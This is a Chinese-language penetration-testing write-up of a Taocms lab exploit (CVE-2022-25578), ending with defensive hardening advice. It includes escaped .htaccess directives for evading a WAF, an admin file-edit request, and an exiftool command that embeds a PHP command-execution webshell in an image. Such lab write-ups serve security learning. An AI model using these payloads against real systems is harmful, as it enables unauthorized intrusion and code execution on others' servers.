渗透测试实战绕过WAF的.htaccess文件上传技巧与深度思考那天下午的阳光透过百叶窗斜斜地打在显示器上我盯着Burp Suite拦截的HTTP响应——403 Forbidden。这已经是第七次尝试上传精心构造的.htaccess文件了靶场的WAF像一堵密不透风的墙。作为一名有三年渗透测试经验的安全工程师我本以为这个CVE-2022-25578的复现会像文档描述的那样顺利但现实给了我一记响亮的耳光。1. 靶场环境与初步侦察靶场搭建的是Taocms v3.0.2环境表面看起来风平浪静。常规信息收集流程走完后几个关键发现浮出水面后台管理路径/admin非默认路径通过目录爆破发现认证方式弱口令admin/taocms123可直接登录关键功能点文章发布系统含图片上传文件管理器支持在线编辑注意真实环境中永远不要假设存在默认凭证这里仅针对特定靶场场景使用curl探测服务器配置时一个有趣的细节引起了我的注意curl -I http://target.com/.htaccess HTTP/1.1 200 OK Server: Apache/2.4.41 X-Firewall: chunqiu-waf-2.3这个响应头暴露了两个重要信息服务器使用Apache且部署了某知名云WAF。这解释了为什么直接上传.htaccess会被拦截。2. WAF规则分析与绕过尝试面对WAF拦截盲目尝试只会触发更多防护规则。我决定先摸清WAF的行为模式常见.htaccess攻击特征检测项检测项常见规则绕过思路SetHandlerphp关键字检测大小写变异/注释分割AddType文件类型与执行权限组合使用非常规MIME类型文件内容结构固定字符串匹配如?php分块编码/十六进制表示文件扩展名.htaccess后缀检测双重扩展名/空字节注入经过多次测试发现该WAF对以下内容特别敏感# 触发拦截的典型规则 SetHandler application/x-httpd-php而通过分块编码和注释插入的变形却可以部分绕过IfModule mod_mime.c #S\145tH\141ndler application/x-h\164tpd-php AddType applicat\151on/x-httpd-php .test /IfModule3. 非传统攻击路径探索当直接上传受阻时我转向研究CMS的其他功能模块文件管理器编辑功能分析虽然不能新建文件但现有.htaccess可编辑编辑器存在字符过滤但未完全转义修改后的文件保存时触发WAF的概率低于直接上传利用文章发布系统的特性图片上传目录与.htaccess同属/upload上传的图片保留原始名称无哈希重命名编辑文章时泄露文件绝对路径一个关键突破点是发现文件管理器对.htaccess的编辑实际上走的是不同的API端点其请求参数格式为POST /admin/file/edit HTTP/1.1 Content-Type: application/x-www-form-urlencoded path/var/www/html/.htaccesscontent...encoded_content...这种基于路径参数的操作相比文件上传接口WAF规则明显宽松许多。4. 多阶段攻击链构建最终的攻击流程分为三个关键阶段权限准备阶段通过弱口令进入后台定位可编辑的.htaccess文件确认Apache的AllowOverride设置通过报错信息推断规则绕过阶段使用分块编码的.htaccess内容通过文件编辑器而非上传接口提交验证规则是否生效上传测试文件持久化控制阶段制作包含伪装的图片马exiftool -Comment?php system($_GET[c]); ? normal.jpg -o payload.jpg通过文章系统上传图片利用路径泄露构造WebShell访问整个过程最耗时的不是技术实现而是对WAF行为模式的反复测试。记得在某次尝试中仅仅因为多了一个空格字符就导致整个请求被放行这种细微差别正是实战中最值得记录的宝贵经验。5. 防御视角的思考站在蓝队角度这类攻击的防护要点包括WAF规则优化检测非常规的编码方式十六进制、Unicode转义监控关键配置文件的修改行为对连续失败尝试实施速率限制系统加固建议# httpd.conf 最佳实践 Directory /var/www/html AllowOverride None php_admin_flag engine off /DirectoryCMS安全配置禁用不必要的文件编辑功能实现上传文件的强制重命名对管理接口实施多因素认证那次测试结束后我在笔记里写下这样一段话真正的安全测试从来不是按照剧本走的表演而是攻防双方在规则边缘的持续博弈。每一个403错误的背后都可能隐藏着突破的契机。